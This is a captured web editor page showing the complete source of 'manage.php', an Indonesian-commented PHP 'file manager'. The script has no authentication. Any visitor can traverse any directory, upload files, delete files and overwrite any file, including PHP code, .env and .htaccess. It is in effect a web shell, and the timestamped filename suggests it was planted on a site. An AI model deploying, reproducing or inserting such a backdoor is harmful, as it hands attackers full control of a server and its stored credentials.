Editing: 1767465311_manage.php
Kembali
<?php /** * PHP File Manager - Full Access Mode * Gunakan dengan hati-hati. Skrip ini bisa mengakses seluruh file sistem yang diizinkan oleh user webserver. */ // --- KONFIGURASI --- $dir_separator = DIRECTORY_SEPARATOR; $base_dir = getcwd(); // Ambil direktori dari URL, jika tidak ada gunakan direktori saat ini $current_dir = isset($_GET['dir']) ? $_GET['dir'] : $base_dir; // Normalisasi path agar konsisten $current_dir = str_replace(['/', '\\'], $dir_separator, $current_dir); if (!is_dir($current_dir)) { $current_dir = $base_dir; } $message = ''; $current_query_param = '?dir=' . urlencode($current_dir); // --- LOGIKA OPERASI --- // 1. Upload if (isset($_FILES['file_upload'])) { $target = $current_dir . $dir_separator . basename($_FILES['file_upload']['name']); if (move_uploaded_file($_FILES['file_upload']['tmp_name'], $target)) { $message = "✅ Berhasil unggah: " . htmlspecialchars($_FILES['file_upload']['name']); } else { $message = "❌ Gagal unggah. Cek izin akses folder."; } } // 2. Buat Folder if (isset($_POST['action']) && $_POST['action'] == 'create_folder') { $new_path = $current_dir . $dir_separator . $_POST['folder_name']; if (!file_exists($new_path)) { mkdir($new_path, 0755, true); $message = "✅ Folder dibuat."; } } // 3. Delete if (isset($_GET['action']) && $_GET['action'] == 'delete') { $target = $current_dir . $dir_separator . $_GET['file']; if (is_file($target)) unlink($target); if (is_dir($target)) rmdir($target); $message = "🗑️ Berhasil dihapus."; } // 4. Edit (Simpan) if (isset($_POST['action']) && $_POST['action'] == 'save_edit') { $file_path = $current_dir . $dir_separator . $_POST['filename']; file_put_contents($file_path, $_POST['content']); $message = "💾 File berhasil disimpan."; } // --- VIEW EDITOR --- if (isset($_GET['action']) && $_GET['action'] == 'edit' && isset($_GET['file'])) { $file_path = $current_dir . $dir_separator . $_GET['file']; $content = file_exists($file_path) ? file_get_contents($file_path) : ''; ?> <!DOCTYPE html> <html> <head> <title>Edit: <?= htmlspecialchars($_GET['file']) ?></title> <script src="https://cdn.tailwindcss.com"></script> </head> <body class="bg-gray-900 text-gray-100 p-4"> <div class="max-w-6xl mx-auto"> <div class="flex justify-between items-center mb-4"> <h2 class="text-xl font-mono">Editing: <?= htmlspecialchars($_GET['file']) ?></h2> <a href="<?= $current_query_param ?>" class="bg-gray-700 px-4 py-2 rounded">Kembali</a> </div> <form method="POST"> <input type="hidden" name="action" value="save_edit"> <input type="hidden" name="filename" value="<?= htmlspecialchars($_GET['file']) ?>"> <textarea name="content" class="w-full h-[70vh] p-4 bg-gray-800 text-green-400 font-mono border border-gray-700 rounded mb-4" spellcheck="false"><?= htmlspecialchars($content) ?></textarea> <button type="submit" class="bg-blue-600 hover:bg-blue-700 px-8 py-3 rounded font-bold">SIMPAN PERUBAHAN</button> </form> </div> </body> </html> <?php exit; } ?> <!DOCTYPE html> <html lang="id"> <head> <meta charset="UTF-8"> <title>Sistem File Manager</title> <script src="https://cdn.tailwindcss.com"></script> </head> <body class="bg-gray-50 text-gray-800 p-4 md:p-10"> <div class="max-w-6xl mx-auto bg-white shadow-2xl rounded-xl overflow-hidden"> <div class="p-6 bg-blue-600 text-white"> <h1 class="text-2xl font-bold mb-2">🚀 System File Manager</h1> <div class="flex items-center text-sm font-mono bg-blue-700 p-2 rounded"> <span class="mr-2">Current Path:</span> <span class="break-all"><?= htmlspecialchars($current_dir) ?></span> </div> </div> <div class="p-6"> <?php if ($message): ?> <div class="mb-4 p-3 bg-blue-100 border-l-4 border-blue-500 text-blue-700"><?= $message ?></div> <?php endif; ?> <div class="grid grid-cols-1 md:grid-cols-2 gap-4 mb-8"> <form method="POST" enctype="multipart/form-data" class="flex items-center gap-2 p-4 border rounded-lg bg-gray-50"> <input type="file" name="file_upload" class="text-sm flex-grow"> <button type="submit" class="bg-green-600 text-white px-4 py-2 rounded text-sm font-bold">UPLOAD</button> </form> <form method="POST" class="flex items-center gap-2 p-4 border rounded-lg bg-gray-50"> <input type="hidden" name="action" value="create_folder"> <input type="text" name="folder_name" placeholder="Nama folder baru..." class="flex-grow p-2 border rounded text-sm"> <button type="submit" class="bg-blue-600 text-white px-4 py-2 rounded text-sm font-bold text-nowrap">BUAT FOLDER</button> </form> </div> <div class="border rounded-lg overflow-x-auto text-sm"> <table class="w-full text-left"> <thead class="bg-gray-100 font-bold border-b"> <tr> <th class="p-4">Nama</th> <th class="p-4 text-center">Tipe</th> <th class="p-4">Ukuran</th> <th class="p-4 text-right">Aksi</th> </tr> </thead> <tbody> <tr class="hover:bg-gray-50 border-b"> <td colspan="4" class="p-4 text-blue-600 font-bold"> <a href="?dir=<?= urlencode(dirname($current_dir)) ?>">📁 .. (Ke Atas)</a> </td> </tr> <?php $items = array_diff(scandir($current_dir), array('.', '..')); // Pisahkan folder dan file untuk sorting $folders = []; $files = []; foreach ($items as $item) { $full_path = $current_dir . $dir_separator . $item; is_dir($full_path) ? $folders[] = $item : $files[] = $item; } // Render Folder foreach ($folders as $f): ?> <tr class="hover:bg-gray-50 border-b"> <td class="p-4 flex items-center gap-2"> <span>📂</span> <a href="?dir=<?= urlencode($current_dir . $dir_separator . $f) ?>" class="text-blue-600 font-medium"><?= $f ?></a> </td> <td class="p-4 text-center text-xs text-gray-400 font-bold">DIR</td> <td class="p-4 text-gray-400">-</td> <td class="p-4 text-right"> <a href="?action=delete&file=<?= urlencode($f) ?>&dir=<?= urlencode($current_dir) ?>" onclick="return confirm('Hapus folder ini?')" class="text-red-500 hover:underline">Hapus</a> </td> </tr> <?php endforeach; ?> <?php foreach ($files as $f): $full_path = $current_dir . $dir_separator . $f; $ext = strtolower(pathinfo($f, PATHINFO_EXTENSION)); $editable = in_array($ext, ['php', 'html', 'css', 'js', 'txt', 'json', 'env', 'htaccess']); ?> <tr class="hover:bg-gray-50 border-b"> <td class="p-4 flex items-center gap-2"> <span>📄</span> <span><?= $f ?></span> </td> <td class="p-4 text-center text-xs text-gray-500"><?= strtoupper($ext) ?: 'FILE' ?></td> <td class="p-4 text-gray-500 font-mono"><?= round(filesize($full_path) / 1024, 2) ?> KB</td> <td class="p-4 text-right space-x-3 text-sm"> <?php if ($editable): ?> <a href="?action=edit&file=<?= urlencode($f) ?>&dir=<?= urlencode($current_dir) ?>" class="text-blue-600 font-bold">EDIT</a> <?php endif; ?> <a href="?action=delete&file=<?= urlencode($f) ?>&dir=<?= urlencode($current_dir) ?>" onclick="return confirm('Hapus file?')" class="text-red-500">HAPUS</a> </td> </tr> <?php endforeach; ?> </tbody> </table> </div> </div> </div> </body> </html>
SIMPAN PERUBAHAN